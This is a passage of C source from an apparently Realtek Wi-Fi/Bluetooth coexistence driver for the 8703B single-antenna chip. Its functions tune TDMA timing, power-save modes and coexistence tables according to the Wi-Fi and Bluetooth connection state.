pBtCoexist->fBtcRead4Byte(pBtCoexist, 0x948), pBtCoexist->fBtcRead1Byte(pBtCoexist, 0x765), pBtCoexist->fBtcRead1Byte(pBtCoexist, 0x67)));
// update pre state
pCoexDm->bPrePsTdmaOn = pCoexDm->bCurPsTdmaOn;
pCoexDm->prePsTdma = pCoexDm->curPsTdma;
}
BOOLEAN
halbtc8703b1ant_IsCommonAction(
IN PBTC_COEXIST pBtCoexist
)
{
BOOLEAN bCommon=FALSE, bWifiConnected=FALSE, bWifiBusy=FALSE;
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_CONNECTED, &bWifiConnected);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_BUSY, &bWifiBusy);
if(!bWifiConnected &&
BT_8703B_1ANT_BT_STATUS_NON_CONNECTED_IDLE == pCoexDm->btStatus)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Wifi non connected-idle + BT non connected-idle!!\n"));
//halbtc8703b1ant_SwMechanism(pBtCoexist, FALSE);
bCommon = TRUE;
}
else if(bWifiConnected &&
(BT_8703B_1ANT_BT_STATUS_NON_CONNECTED_IDLE == pCoexDm->btStatus) )
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Wifi connected + BT non connected-idle!!\n"));
//halbtc8703b1ant_SwMechanism(pBtCoexist, FALSE);
bCommon = TRUE;
}
else if(!bWifiConnected &&
(BT_8703B_1ANT_BT_STATUS_CONNECTED_IDLE == pCoexDm->btStatus) )
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Wifi non connected-idle + BT connected-idle!!\n"));
//halbtc8703b1ant_SwMechanism(pBtCoexist, FALSE);
bCommon = TRUE;
}
else if(bWifiConnected &&
(BT_8703B_1ANT_BT_STATUS_CONNECTED_IDLE == pCoexDm->btStatus) )
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Wifi connected + BT connected-idle!!\n"));
//halbtc8703b1ant_SwMechanism(pBtCoexist, FALSE);
bCommon = TRUE;
}
else if(!bWifiConnected &&
(BT_8703B_1ANT_BT_STATUS_CONNECTED_IDLE != pCoexDm->btStatus) )
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Wifi non connected-idle + BT Busy!!\n"));
//halbtc8703b1ant_SwMechanism(pBtCoexist, FALSE);
bCommon = TRUE;
}
else
{
if (bWifiBusy)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Wifi Connected-Busy + BT Busy!!\n"));
}
else
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], Wifi Connected-Idle + BT Busy!!\n"));
}
bCommon = FALSE;
}
return bCommon;
}
VOID
halbtc8703b1ant_TdmaDurationAdjustForAcl(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte wifiStatus
)
{
static s4Byte up,dn,m,n,WaitCount;
s4Byte result; //0: no change, +1: increase WiFi duration, -1: decrease WiFi duration
u1Byte retryCount=0, btInfoExt;
static BOOLEAN bPreWifiBusy=FALSE;
BOOLEAN bWifiBusy = FALSE;
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], TdmaDurationAdjustForAcl()\n"));
if(BT_8703B_1ANT_WIFI_STATUS_CONNECTED_BUSY == wifiStatus)
bWifiBusy = TRUE;
else
bWifiBusy = FALSE;
if( (BT_8703B_1ANT_WIFI_STATUS_NON_CONNECTED_ASSO_AUTH_SCAN == wifiStatus) ||
(BT_8703B_1ANT_WIFI_STATUS_CONNECTED_SCAN == wifiStatus) ||
(BT_8703B_1ANT_WIFI_STATUS_CONNECTED_SPECIAL_PKT == wifiStatus) )
{
if( pCoexDm->curPsTdma != 1 &&
pCoexDm->curPsTdma != 2 &&
pCoexDm->curPsTdma != 3 &&
pCoexDm->curPsTdma != 9 )
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 9);
pCoexDm->psTdmaDuAdjType = 9;
up = 0;
dn = 0;
m = 1;
n= 3;
result = 0;
WaitCount = 0;
}
return;
}
if(!pCoexDm->bAutoTdmaAdjust)
{
pCoexDm->bAutoTdmaAdjust = TRUE;
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], first run TdmaDurationAdjust()!!\n"));
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 2);
pCoexDm->psTdmaDuAdjType = 2;
//============
up = 0;
dn = 0;
m = 1;
n= 3;
result = 0;
WaitCount = 0;
}
else
{
//accquire the BT TRx retry count from BT_Info byte2
retryCount = pCoexSta->btRetryCnt;
btInfoExt = pCoexSta->btInfoExt;
if ( (pCoexSta->lowPriorityTx) > 1050 || (pCoexSta->lowPriorityRx) > 1250 )
retryCount++;
result = 0;
WaitCount++;
if(retryCount == 0) // no retry in the last 2-second duration
{
up++;
dn--;
if (dn <= 0)
dn = 0;
if(up >= n) // if 連續 n 個2秒 retry count為0, 則調寬WiFi duration
{
WaitCount = 0;
n = 3;
up = 0;
dn = 0;
result = 1;
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], Increase wifi duration!!\n"));
}
}
else if (retryCount <= 3) // <=3 retry in the last 2-second duration
{
up--;
dn++;
if (up <= 0)
up = 0;
if (dn == 2) // if 連續 2 個2秒 retry count< 3, 則調窄WiFi duration
{
if (WaitCount <= 2)
m++; // 避免一直在兩個level中來回
else
m = 1;
if ( m >= 20) //m 最大值 = 20 ' 最大120秒 recheck是否調整 WiFi duration.
m = 20;
n = 3*m;
up = 0;
dn = 0;
WaitCount = 0;
result = -1;
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], Decrease wifi duration for retryCounter<3!!\n"));
}
}
else //retry count > 3, 只要1次 retry count > 3, 則調窄WiFi duration
{
if (WaitCount == 1)
m++; // 避免一直在兩個level中來回
else
m = 1;
if ( m >= 20) //m 最大值 = 20 ' 最大120秒 recheck是否調整 WiFi duration.
m = 20;
n = 3*m;
up = 0;
dn = 0;
WaitCount = 0;
result = -1;
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], Decrease wifi duration for retryCounter>3!!\n"));
}
if(result == -1)
{
/* if( (BT_INFO_8703B_1ANT_A2DP_BASIC_RATE(btInfoExt)) &&
((pCoexDm->curPsTdma == 1) ||(pCoexDm->curPsTdma == 2)) )
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 9);
pCoexDm->psTdmaDuAdjType = 9;
}
else */ if(pCoexDm->curPsTdma == 1)
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 2);
pCoexDm->psTdmaDuAdjType = 2;
}
else if(pCoexDm->curPsTdma == 2)
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 9);
pCoexDm->psTdmaDuAdjType = 9;
}
else if(pCoexDm->curPsTdma == 9)
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 11);
pCoexDm->psTdmaDuAdjType = 11;
}
}
else if(result == 1)
{
/* if( (BT_INFO_8703B_1ANT_A2DP_BASIC_RATE(btInfoExt)) &&
((pCoexDm->curPsTdma == 1) ||(pCoexDm->curPsTdma == 2)) )
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 9);
pCoexDm->psTdmaDuAdjType = 9;
}
else */ if(pCoexDm->curPsTdma == 11)
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 9);
pCoexDm->psTdmaDuAdjType = 9;
}
else if(pCoexDm->curPsTdma == 9)
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 2);
pCoexDm->psTdmaDuAdjType = 2;
}
else if(pCoexDm->curPsTdma == 2)
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 1);
pCoexDm->psTdmaDuAdjType = 1;
}
}
else //no change
{
/* Bryant Modify
if(bWifiBusy != bPreWifiBusy) //if busy / idle change
{
bPreWifiBusy = bWifiBusy;
halbtc8703b1ant_PsTdma(pBtCoexist, FORCE_EXEC, TRUE, pCoexDm->curPsTdma);
}
*/
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], ********** TDMA(on, %d) **********\n",
pCoexDm->curPsTdma));
}
if( pCoexDm->curPsTdma != 1 &&
pCoexDm->curPsTdma != 2 &&
pCoexDm->curPsTdma != 9 &&
pCoexDm->curPsTdma != 11 )
{
// recover to previous adjust type
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, pCoexDm->psTdmaDuAdjType);
}
}
}
VOID
halbtc8703b1ant_PsTdmaCheckForPowerSaveState(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bNewPsState
)
{
u1Byte lpsMode=0x0;
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_U1_LPS_MODE, &lpsMode);
if(lpsMode) // already under LPS state
{
if(bNewPsState)
{
// keep state under LPS, do nothing.
}
else
{
// will leave LPS state, turn off psTdma first
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, FALSE, 8);
}
}
else // NO PS state
{
if(bNewPsState)
{
// will enter LPS state, turn off psTdma first
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, FALSE, 8);
}
else
{
// keep state under NO PS state, do nothing.
}
}
}
VOID
halbtc8703b1ant_PowerSaveState(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte psType,
IN u1Byte lpsVal,
IN u1Byte rpwmVal
)
{
BOOLEAN bLowPwrDisable=FALSE;
switch(psType)
{
case BTC_PS_WIFI_NATIVE:
// recover to original 32k low power setting
bLowPwrDisable = FALSE;
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_ACT_DISABLE_LOW_POWER, &bLowPwrDisable);
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_ACT_NORMAL_LPS, NULL);
pCoexSta->bForceLpsOn = FALSE;
break;
case BTC_PS_LPS_ON:
halbtc8703b1ant_PsTdmaCheckForPowerSaveState(pBtCoexist, TRUE);
halbtc8703b1ant_LpsRpwm(pBtCoexist, NORMAL_EXEC, lpsVal, rpwmVal);
// when coex force to enter LPS, do not enter 32k low power.
bLowPwrDisable = TRUE;
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_ACT_DISABLE_LOW_POWER, &bLowPwrDisable);
// power save must executed before psTdma.
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_ACT_ENTER_LPS, NULL);
pCoexSta->bForceLpsOn = TRUE;
break;
case BTC_PS_LPS_OFF:
halbtc8703b1ant_PsTdmaCheckForPowerSaveState(pBtCoexist, FALSE);
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_ACT_LEAVE_LPS, NULL);
pCoexSta->bForceLpsOn = FALSE;
break;
default:
break;
}
}
VOID
halbtc8703b1ant_ActionWifiOnly(
IN PBTC_COEXIST pBtCoexist
)
{
halbtc8703b1ant_CoexTableWithType(pBtCoexist, FORCE_EXEC, 0);
halbtc8703b1ant_PsTdma(pBtCoexist, FORCE_EXEC, FALSE, 8);
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_PTA, FORCE_EXEC, FALSE, FALSE);
}
VOID
halbtc8703b1ant_MonitorBtEnableDisable(
IN PBTC_COEXIST pBtCoexist
)
{
static BOOLEAN bPreBtDisabled=FALSE;
static u4Byte btDisableCnt=0;
BOOLEAN bBtActive=TRUE, bBtDisabled=FALSE;
// This function check if bt is disabled
if( pCoexSta->highPriorityTx == 0 &&
pCoexSta->highPriorityRx == 0 &&
pCoexSta->lowPriorityTx == 0 &&
pCoexSta->lowPriorityRx == 0)
{
bBtActive = FALSE;
}
if( pCoexSta->highPriorityTx == 0xffff &&
pCoexSta->highPriorityRx == 0xffff &&
pCoexSta->lowPriorityTx == 0xffff &&
pCoexSta->lowPriorityRx == 0xffff)
{
bBtActive = FALSE;
}
if(bBtActive)
{
btDisableCnt = 0;
bBtDisabled = FALSE;
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_BL_BT_DISABLE, &bBtDisabled);
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT is enabled !!\n"));
}
else
{
btDisableCnt++;
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], bt all counters=0, %d times!!\n",
btDisableCnt));
if(btDisableCnt >= 2)
{
bBtDisabled = TRUE;
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_BL_BT_DISABLE, &bBtDisabled);
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT is disabled !!\n"));
halbtc8703b1ant_ActionWifiOnly(pBtCoexist);
}
}
if(bPreBtDisabled != bBtDisabled)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], BT is from %s to %s!!\n",
(bPreBtDisabled ? "disabled":"enabled"),
(bBtDisabled ? "disabled":"enabled")));
bPreBtDisabled = bBtDisabled;
if(!bBtDisabled)
{
}
else
{
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_ACT_LEAVE_LPS, NULL);
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_ACT_NORMAL_LPS, NULL);
}
}
}
//=============================================
//
// Software Coex Mechanism start
//
//=============================================
// SCO only or SCO+PAN(HS)
/*
VOID
halbtc8703b1ant_ActionSco(
IN PBTC_COEXIST pBtCoexist
)
{
halbtc8703b1ant_SwMechanism(pBtCoexist, TRUE);
}
VOID
halbtc8703b1ant_ActionHid(
IN PBTC_COEXIST pBtCoexist
)
{
halbtc8703b1ant_SwMechanism(pBtCoexist, TRUE);
}
//A2DP only / PAN(EDR) only/ A2DP+PAN(HS)
VOID
halbtc8703b1ant_ActionA2dp(
IN PBTC_COEXIST pBtCoexist
)
{
halbtc8703b1ant_SwMechanism(pBtCoexist, FALSE);
}
VOID
halbtc8703b1ant_ActionA2dpPanHs(
IN PBTC_COEXIST pBtCoexist
)
{
halbtc8703b1ant_SwMechanism(pBtCoexist, FALSE);
}
VOID
halbtc8703b1ant_ActionPanEdr(
IN PBTC_COEXIST pBtCoexist
)
{
halbtc8703b1ant_SwMechanism(pBtCoexist, FALSE);
}
//PAN(HS) only
VOID
halbtc8703b1ant_ActionPanHs(
IN PBTC_COEXIST pBtCoexist
)
{
halbtc8703b1ant_SwMechanism(pBtCoexist, FALSE);
}
//PAN(EDR)+A2DP
VOID
halbtc8703b1ant_ActionPanEdrA2dp(
IN PBTC_COEXIST pBtCoexist
)
{
halbtc8703b1ant_SwMechanism(pBtCoexist, FALSE);
}
VOID
halbtc8703b1ant_ActionPanEdrHid(
IN PBTC_COEXIST pBtCoexist
)
{
halbtc8703b1ant_SwMechanism(pBtCoexist, TRUE);
}
// HID+A2DP+PAN(EDR)
VOID
halbtc8703b1ant_ActionHidA2dpPanEdr(
IN PBTC_COEXIST pBtCoexist
)
{
halbtc8703b1ant_SwMechanism(pBtCoexist, TRUE);
}
VOID
halbtc8703b1ant_ActionHidA2dp(
IN PBTC_COEXIST pBtCoexist
)
{
halbtc8703b1ant_SwMechanism(pBtCoexist, TRUE);
}
*/
//=============================================
//
// Non-Software Coex Mechanism start
//
//=============================================
VOID
halbtc8703b1ant_ActionBtWhckTest(
IN PBTC_COEXIST pBtCoexist
)
{
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_WIFI_NATIVE, 0x0, 0x0);
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, FALSE, 8);
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_PTA, NORMAL_EXEC, FALSE, FALSE);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 0);
}
VOID
halbtc8703b1ant_ActionWifiMultiPort(
IN PBTC_COEXIST pBtCoexist
)
{
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_WIFI_NATIVE, 0x0, 0x0);
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, FALSE, 8);
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_PTA, NORMAL_EXEC, FALSE, FALSE);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 2);
}
VOID
halbtc8703b1ant_ActionHs(
IN PBTC_COEXIST pBtCoexist
)
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 5);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 2);
}
VOID
halbtc8703b1ant_ActionBtInquiry(
IN PBTC_COEXIST pBtCoexist
)
{
PBTC_BT_LINK_INFO pBtLinkInfo=&pBtCoexist->btLinkInfo;
BOOLEAN bWifiConnected=FALSE, bApEnable=FALSE, bWifiBusy=FALSE, bBtBusy=FALSE;
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_AP_MODE_ENABLE, &bApEnable);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_CONNECTED, &bWifiConnected);
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_BUSY, &bWifiBusy);
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_BL_BT_TRAFFIC_BUSY, &bBtBusy);
if ( (!bWifiConnected) && (!pCoexSta->bWiFiIsHighPriTask) )
{
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_WIFI_NATIVE, 0x0, 0x0);
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, FALSE, 8);
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_PTA, NORMAL_EXEC, FALSE, FALSE);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 0);
}
else if( (pBtLinkInfo->bScoExist) || (pBtLinkInfo->bHidExist) || (pBtLinkInfo->bA2dpExist) )
{
// SCO/HID/A2DP busy
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_WIFI_NATIVE, 0x0, 0x0);
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 32);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 4);
}
else if ( (pBtLinkInfo->bPanExist) || (bWifiBusy) )
{
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_WIFI_NATIVE, 0x0, 0x0);
//for BT inquiry/page fail after S4 resume
//halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 20);
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 32);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 4);
}
else
{
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_WIFI_NATIVE, 0x0, 0x0);
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, FALSE, 8);
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_PTA, NORMAL_EXEC, FALSE, FALSE);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 7);
//halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 32);
//halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 4);
}
}
VOID
halbtc8703b1ant_ActionBtScoHidOnlyBusy(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte wifiStatus
)
{
PBTC_BT_LINK_INFO pBtLinkInfo=&pBtCoexist->btLinkInfo;
BOOLEAN bWifiConnected=FALSE;
u1Byte wifiRssiState=BTC_RSSI_STATE_HIGH;
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_CONNECTED, &bWifiConnected);
// tdma and coex table
if(pBtLinkInfo->bScoExist)
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 5);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 5);
}
else //HID
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 6);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 5);
}
}
VOID
halbtc8703b1ant_ActionWifiConnectedBtAclBusy(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte wifiStatus
)
{
u1Byte btRssiState;
PBTC_BT_LINK_INFO pBtLinkInfo=&pBtCoexist->btLinkInfo;
btRssiState = halbtc8703b1ant_BtRssiState(2, 28, 0);
if ( (pCoexSta->lowPriorityRx >= 950) && (!pCoexSta->bUnderIps) )
{
pBtLinkInfo->bSlaveRole = TRUE;
}
else
{
pBtLinkInfo->bSlaveRole = FALSE;
}
if(pBtLinkInfo->bHidOnly) //HID
{
halbtc8703b1ant_ActionBtScoHidOnlyBusy(pBtCoexist, wifiStatus);
pCoexDm->bAutoTdmaAdjust = FALSE;
return;
}
else if(pBtLinkInfo->bA2dpOnly) //A2DP
{
if(BT_8703B_1ANT_WIFI_STATUS_CONNECTED_IDLE == wifiStatus)
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 32);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 4);
pCoexDm->bAutoTdmaAdjust = FALSE;
}
else
{
halbtc8703b1ant_TdmaDurationAdjustForAcl(pBtCoexist, wifiStatus);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 4);
pCoexDm->bAutoTdmaAdjust = TRUE;
}
}
else if ( ((pBtLinkInfo->bA2dpExist) && (pBtLinkInfo->bPanExist)) ||
(pBtLinkInfo->bHidExist&&pBtLinkInfo->bA2dpExist&&pBtLinkInfo->bPanExist) ) //A2DP+PAN(OPP,FTP), HID+A2DP+PAN(OPP,FTP)
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 13);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 4);
pCoexDm->bAutoTdmaAdjust = FALSE;
}
else if(pBtLinkInfo->bHidExist&&pBtLinkInfo->bA2dpExist) //HID+A2DP
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 14);
pCoexDm->bAutoTdmaAdjust = FALSE;
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 4);
}
else if( (pBtLinkInfo->bPanOnly) || (pBtLinkInfo->bHidExist&&pBtLinkInfo->bPanExist) ) //PAN(OPP,FTP), HID+PAN(OPP,FTP)
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 3);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 4);
pCoexDm->bAutoTdmaAdjust = FALSE;
}
else
{
//BT no-profile busy (0x9)
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 33);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 4);
pCoexDm->bAutoTdmaAdjust = FALSE;
}
}
VOID
halbtc8703b1ant_ActionWifiNotConnected(
IN PBTC_COEXIST pBtCoexist
)
{
// power save state
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_WIFI_NATIVE, 0x0, 0x0);
// tdma and coex table
halbtc8703b1ant_PsTdma(pBtCoexist, FORCE_EXEC, FALSE, 8);
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_PTA, NORMAL_EXEC, FALSE, FALSE);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 0);
}
VOID
halbtc8703b1ant_ActionWifiNotConnectedScan(
IN PBTC_COEXIST pBtCoexist
)
{
PBTC_BT_LINK_INFO pBtLinkInfo=&pBtCoexist->btLinkInfo;
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_WIFI_NATIVE, 0x0, 0x0);
// tdma and coex table
if(BT_8703B_1ANT_BT_STATUS_ACL_BUSY == pCoexDm->btStatus)
{
if (pBtLinkInfo->bA2dpExist)
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 32);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 4);
}
else if (pBtLinkInfo->bA2dpExist && pBtLinkInfo->bPanExist)
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 22);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 4);
}
else
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 20);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 4);
}
}
else if( (BT_8703B_1ANT_BT_STATUS_SCO_BUSY == pCoexDm->btStatus) ||
(BT_8703B_1ANT_BT_STATUS_ACL_SCO_BUSY == pCoexDm->btStatus) )
{
halbtc8703b1ant_ActionBtScoHidOnlyBusy(pBtCoexist,
BT_8703B_1ANT_WIFI_STATUS_CONNECTED_SCAN);
}
else
{
//Bryant Add
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, FALSE, 8);
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_PTA, NORMAL_EXEC, FALSE, FALSE);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 2);
}
}
VOID
halbtc8703b1ant_ActionWifiNotConnectedAssoAuth(
IN PBTC_COEXIST pBtCoexist
)
{
PBTC_BT_LINK_INFO pBtLinkInfo=&pBtCoexist->btLinkInfo;
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_WIFI_NATIVE, 0x0, 0x0);
// tdma and coex table
if( (pBtLinkInfo->bScoExist) || (pBtLinkInfo->bHidExist) || (pBtLinkInfo->bA2dpExist) )
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 32);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, FORCE_EXEC, 4);
}
else if (pBtLinkInfo->bPanExist)
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 20);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, FORCE_EXEC, 4);
}
else
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, FALSE, 8);
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_PTA, NORMAL_EXEC, FALSE, FALSE);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, FORCE_EXEC, 2);
}
}
VOID
halbtc8703b1ant_ActionWifiConnectedScan(
IN PBTC_COEXIST pBtCoexist
)
{
PBTC_BT_LINK_INFO pBtLinkInfo=&pBtCoexist->btLinkInfo;
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_WIFI_NATIVE, 0x0, 0x0);
// tdma and coex table
if(BT_8703B_1ANT_BT_STATUS_ACL_BUSY == pCoexDm->btStatus)
{
if (pBtLinkInfo->bA2dpExist)
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 32);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 4);
}
else if (pBtLinkInfo->bA2dpExist && pBtLinkInfo->bPanExist)
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 22);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 4);
}
else
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 20);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 4);
}
}
else if( (BT_8703B_1ANT_BT_STATUS_SCO_BUSY == pCoexDm->btStatus) ||
(BT_8703B_1ANT_BT_STATUS_ACL_SCO_BUSY == pCoexDm->btStatus) )
{
halbtc8703b1ant_ActionBtScoHidOnlyBusy(pBtCoexist,
BT_8703B_1ANT_WIFI_STATUS_CONNECTED_SCAN);
}
else
{
//Bryant Add
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, FALSE, 8);
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_PTA, NORMAL_EXEC, FALSE, FALSE);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 2);
}
}
VOID
halbtc8703b1ant_ActionWifiConnectedSpecialPacket(
IN PBTC_COEXIST pBtCoexist
)
{
PBTC_BT_LINK_INFO pBtLinkInfo=&pBtCoexist->btLinkInfo;
BOOLEAN bWifiBusy = FALSE;
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_BUSY, &bWifiBusy);
//no special packet process for both WiFi and BT very busy
if ((bWifiBusy) && ((pBtLinkInfo->bPanExist) || (pCoexSta->nNumOfProfile >= 2)))
return;
halbtc8703b1ant_PowerSaveState(pBtCoexist, BTC_PS_WIFI_NATIVE, 0x0, 0x0);
// tdma and coex table
if((pBtLinkInfo->bScoExist) || (pBtLinkInfo->bHidExist))
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 32);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 5);
}
else if (pBtLinkInfo->bA2dpExist)
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 32);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 4);
}
else if(pBtLinkInfo->bPanExist)
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, TRUE, 20);
halbtc8703b1ant_CoexTableWithType(pBtCoexist, NORMAL_EXEC, 4);
}
else
{
halbtc8703b1ant_PsTdma(pBtCoexist, NORMAL_EXEC, FALSE, 8);
